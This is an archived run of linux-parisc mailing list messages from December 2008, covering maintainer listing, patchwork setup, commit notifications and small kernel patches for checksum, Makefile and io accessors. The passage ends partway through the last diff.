Message-ID: <20081203082239.GC32121@colo.lackof.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org> <20081122122208.GE5707@parisc-linux.org> <20081122180152.GC2690@colo.lackof.org> <20081201072134.GE17583@colo.lackof.org> <493409C6.6050607@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228292585 26661 80.91.229.12 (3 Dec 2008 08:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Dec 2008 08:23:05 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, kyle@hera.kernel.org,
	randolph@tausq.org, stable@kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 03 09:24:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7n1i-0003pN-OL
	for glpp-linux-parisc@gmane.org; Wed, 03 Dec 2008 09:24:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751204AbYLCIWx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Dec 2008 03:22:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751236AbYLCIWx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Dec 2008 03:22:53 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:45074 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751204AbYLCIWx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Dec 2008 03:22:53 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B669029C099;
	Wed,  3 Dec 2008 01:22:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02971-05; Wed, 3 Dec 2008 01:22:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 30FDD29C094; Wed,  3 Dec 2008 01:22:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <493409C6.6050607@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/898>

On Mon, Dec 01, 2008 at 04:59:02PM +0100, Helge Deller wrote:
> Grant Grundler wrote:
...
>> Updated version of this patch: I'm removing my own name as well for some 
>> of the same reasons as willy. 
>
> Grant, even if you are currently only occasionally fixing bugs or reviewing 
> patches, I think it would still be valuable to keep you listed here as one 
> of the parisc maintainers.

Helge,
Thanks!

But it sounds a bit biased coming from you given I just nominated
you to be listed as maintainer. :)

"occasionally fixing bugs" is generous with respect to parisc-linux.
I've prevented a few bugs this year (code review) and substantially helped
the Intel IOMMU driver maintainer code (on linux-pci). But those aren't
reasons to be listed as parisc-linux maintainer.

I will continue to review parisc-linux patches and occasionally work
on "porting" autotest.kernel.org to parisc-linux. I think that would
help the port to avoid regressions. I'm just not able (time and ability)
to fix the latest major issue which we've been guessing is cache
coherency related.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 03 Dec 2008 21:41:00 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <4936EEDC.1000908@gmx.de>
References: <4932FFB7.4040506@gmx.de>	 <20081201000013.349294DF8@hiauly1.hia.nrc.ca> <7d01f9f00812010254s3bf845cr8e2b35fe2dedc125@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228337091 28696 80.91.229.12 (3 Dec 2008 20:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Dec 2008 20:44:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, gmsoft@tuxicoman.be,
	carlos@systemhalted.org, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 03 21:45:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7ybW-0005aG-8w
	for glpp-linux-parisc@gmane.org; Wed, 03 Dec 2008 21:45:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763414AbYLCUmA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Dec 2008 15:42:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1763206AbYLCUl7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Dec 2008 15:41:59 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:34498 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1763411AbYLCUl6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Dec 2008 15:41:58 -0500
Original-Received: (qmail invoked by alias); 03 Dec 2008 20:41:48 -0000
Original-Received: from mnhm-590e0c44.pool.einsundeins.de (EHLO halden.box) [89.14.12.68]
  by mail.gmx.net (mp039) with SMTP; 03 Dec 2008 21:41:48 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19DJxMIW/tDe/MmF5LiqU4CKTOx9Rfaj1bgFuCc1g
	sZhrRwOPGx5/iy
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <7d01f9f00812010254s3bf845cr8e2b35fe2dedc125@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/899>

Thibaut VARENE wrote:
> On Tue, Dec 2, 2008 at 1:00 AM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> 
>> Are there some standard 32 and 64 bit defines for format strings?  Or, do we
>> always want 16 hex digits?
> 
> In traps.c we used to do this for the regs dump:
> 
> #ifdef __LP64__
> #define RFMT "%016lx"
> #else
> #define RFMT "%08lx"
> #endif
> 
> and then sprintf(p, " " RFMT, (i+j) == 0 ? 0 : regs->gr[i + j]);
> 
> I guess a similar trick could do, to some extent?

An alternative possibility would be to use pointers, e.g.
printk("addr 0x%p\n", (void *)x);
That way it would 32 or 64bit addresses, depending if we have a 32 or 
64bit kernel.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: patchwork running on linux-parisc@
Date: Sun, 7 Dec 2008 19:08:58 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20081208000858.GK28348@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228694956 9222 80.91.229.12 (8 Dec 2008 00:09:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 00:09:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 01:10:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9ThV-00015D-UE
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 01:10:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752850AbYLHAJA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 19:09:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752440AbYLHAJA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 19:09:00 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:43723 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752850AbYLHAI7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 19:08:59 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9TgI-0001Bc-KS
	for linux-parisc@vger.kernel.org; Mon, 08 Dec 2008 00:08:58 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/900>

I've enabled a patchwork installation, hopefully I won't miss any more
patches posted on the list now. Please ensure all patches destined for
the kernel hit the mailing list, so they get archived by patchwork...

	http://patchwork.cabal.ca/project/linux-parisc/list/

As soon as I get these git commithooks sorted we'll have proper commit
notifications to the list as well, although that's slightly more
complicated unless you want gigantic spews when I pull Linus' tree. :(

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: fix ipv6 checksum
Date: Sun, 7 Dec 2008 19:15:51 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20081208001551.GL28348@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228695364 10100 80.91.229.12 (8 Dec 2008 00:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 00:16:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 01:17:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9ToB-0002i1-3S
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 01:17:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751027AbYLHAPw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 19:15:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752924AbYLHAPw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 19:15:52 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34819 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751027AbYLHAPw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 19:15:52 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9Tmx-0002JB-HT
	for linux-parisc@vger.kernel.org; Mon, 08 Dec 2008 00:15:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/901>

ipv6 recently started exhibiting the same symptoms as ipv4 was, add
a memory clobber around inline checksum assembly that fribbles memory
to ensure gcc doesn't erroneously cache across it.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/include/asm/checksum.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/include/asm/checksum.h b/arch/parisc/include/asm/checksum.h
index e9639cc..c84b2fc 100644
--- a/arch/parisc/include/asm/checksum.h
+++ b/arch/parisc/include/asm/checksum.h
@@ -182,7 +182,7 @@ static __inline__ __sum16 csum_ipv6_magic(const struct in6_addr *saddr,
 #endif
 	: "=r" (sum), "=r" (saddr), "=r" (daddr), "=r" (len)
 	: "0" (sum), "1" (saddr), "2" (daddr), "3" (len), "r" (proto)
-	: "r19", "r20", "r21", "r22");
+	: "r19", "r20", "r21", "r22", "memory");
 	return csum_fold(sum);
 }
 
-- 
1.6.0.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Mon, 8 Dec 2008 02:06:05 GMT
Lines: 29
Approved: news@gmane.org
Message-ID: <200812080206.mB82655g028686@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1228701982 23430 80.91.229.12 (8 Dec 2008 02:06:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 02:06:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 03:07:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9VWu-000226-UV
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 03:07:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753803AbYLHCGJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 21:06:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753847AbYLHCGJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 21:06:09 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:44435 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753803AbYLHCGI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 21:06:08 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19T/7bdms6C4BS07XNCofYc960HouJCX2c@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mB82650B028700
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 8 Dec 2008 02:06:05 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mB82655g028686
	for linux-parisc@vger.kernel.org; Mon, 8 Dec 2008 02:06:05 GMT
X-Virus-Scanned: ClamAV 0.93.3/8730/Sun Dec  7 06:03:03 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 08 Dec 2008 02:06:07 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/902>

New commits:
commit 94b5339dbe820cf874e826c3c9bb62493bb4da7f
Author: Roel Kluin <roel.kluin@gmail.com>
Date:   Wed Dec 3 04:16:04 2008 +0000

    parisc: set_time() catch errors
    
    set_rtc_time returns negative on error, ret should be signed to catch those
    
    Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
    Reviewed-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit e4fdb8c6aae569fec4c68c76fc0cdaa23ba9c77d
Author: Harvey Harrison <harvey.harrison@gmail.com>
Date:   Tue Dec 2 03:28:17 2008 +0000

    parisc: use the new byteorder headers
    
    Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
    Cc: Matthew Wilcox <willy@debian.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Sun, 7 Dec 2008 21:13:55 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20081208021355.GP28348@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228702446 24396 80.91.229.12 (8 Dec 2008 02:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 02:14:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 03:15:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9VeP-0003Yl-ST
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 03:15:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753300AbYLHCN4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 21:13:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753952AbYLHCN4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 21:13:56 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36935 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753300AbYLHCNz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 21:13:55 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9VdD-00065K-3T
	for linux-parisc@vger.kernel.org; Mon, 08 Dec 2008 02:13:55 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/903>

New commits:
commit da8e3b106c259f1ef791d99cb153c172583d9aa7
Author: Adrian Bunk <bunk@kernel.org>
Date:   Tue Dec 2 03:28:16 2008 +0000

    parisc: drivers/parisc/: make code static
    
    Make the following needlessly global code static:
    
    - asp.c: asp_init_chip()
    - ccio-dma.c: ccio_io_pdir_entry()
    - dino.c: struct dino_port_ops
    - dino.c: struct dino_bios_ops
    - hppb.c: struct hppb_card_head
    - lasi.c: lasi_led_init()
    - lasi.c: lasi_init_chip()
    - lba_pci.c: struct lba_bios_ops
    - sba_iommu.c: sba_io_pdir_entry()
    - sba_iommu.c: sba_driver_callback()
    - sba_iommu.c: sba_driver_callback()
    - wax.c: wax_init_chip()
    
    Signed-off-by: Adrian Bunk <bunk@kernel.org>
    Cc: Matthew Wilcox <matthew@wil.cx>
    Cc: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: quiet palo not-found message from "which"
Date: Sun, 7 Dec 2008 23:43:08 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20081208044308.GA9092@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228711419 8339 80.91.229.12 (8 Dec 2008 04:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 04:43:39 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 05:44:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9Xz5-00067H-9t
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 05:44:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756086AbYLHEnT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 23:43:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755904AbYLHEnR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 23:43:17 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51091 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755286AbYLHEnJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 23:43:09 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9Xxc-00043W-UT
	for linux-parisc@vger.kernel.org; Mon, 08 Dec 2008 04:43:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/904>

Reduces moaning when building on a machine without palo installed.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/Makefile |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ddad7b..0d42827 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -77,7 +77,7 @@ libs-y	+= arch/parisc/lib/ `$(CC) -print-libgcc-file-name`
 
 drivers-$(CONFIG_OPROFILE)		+= arch/parisc/oprofile/
 
-PALO := $(shell if which palo; then : ; \
+PALO := $(shell if (which palo 2>&1); then : ; \
 	elif [ -x /sbin/palo ]; then echo /sbin/palo; \
 	fi)
 
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: fix io accessors for generic byteorder.h
Date: Sun, 7 Dec 2008 23:43:17 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <20081208044317.GB9092@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228711420 8342 80.91.229.12 (8 Dec 2008 04:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 04:43:40 +0000 (UTC)
Cc: Harvey Harrison <harvey.harrison@gmail.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 05:44:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9Xz6-00067H-L3
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 05:44:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756189AbYLHEn1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2008 23:43:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755904AbYLHEn0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Dec 2008 23:43:26 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51096 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756005AbYLHEnS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2008 23:43:18 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9Xxl-000444-IQ; Mon, 08 Dec 2008 04:43:17 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/905>

These were using __fswabX which is marooned in <linux/byteorder/swab.h>
instead we'll just use the __arch_swabX defines from <asm/byteorder.h>

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/include/asm/io.h |    8 ++++----
 1 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index 55ddb18..6943135 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -2,6 +2,7 @@
 #define _ASM_IO_H
 
 #include <linux/types.h>
+#include <asm/byteorder.h>
 #include <asm/pgtable.h>
 
 extern unsigned long parisc_vmerge_boundary;
@@ -180,11 +181,10 @@ static inline void __raw_writeq(unsigned long long b, volatile void __iomem *add
 	*(volatile unsigned long long __force *) addr = b;
 }
 
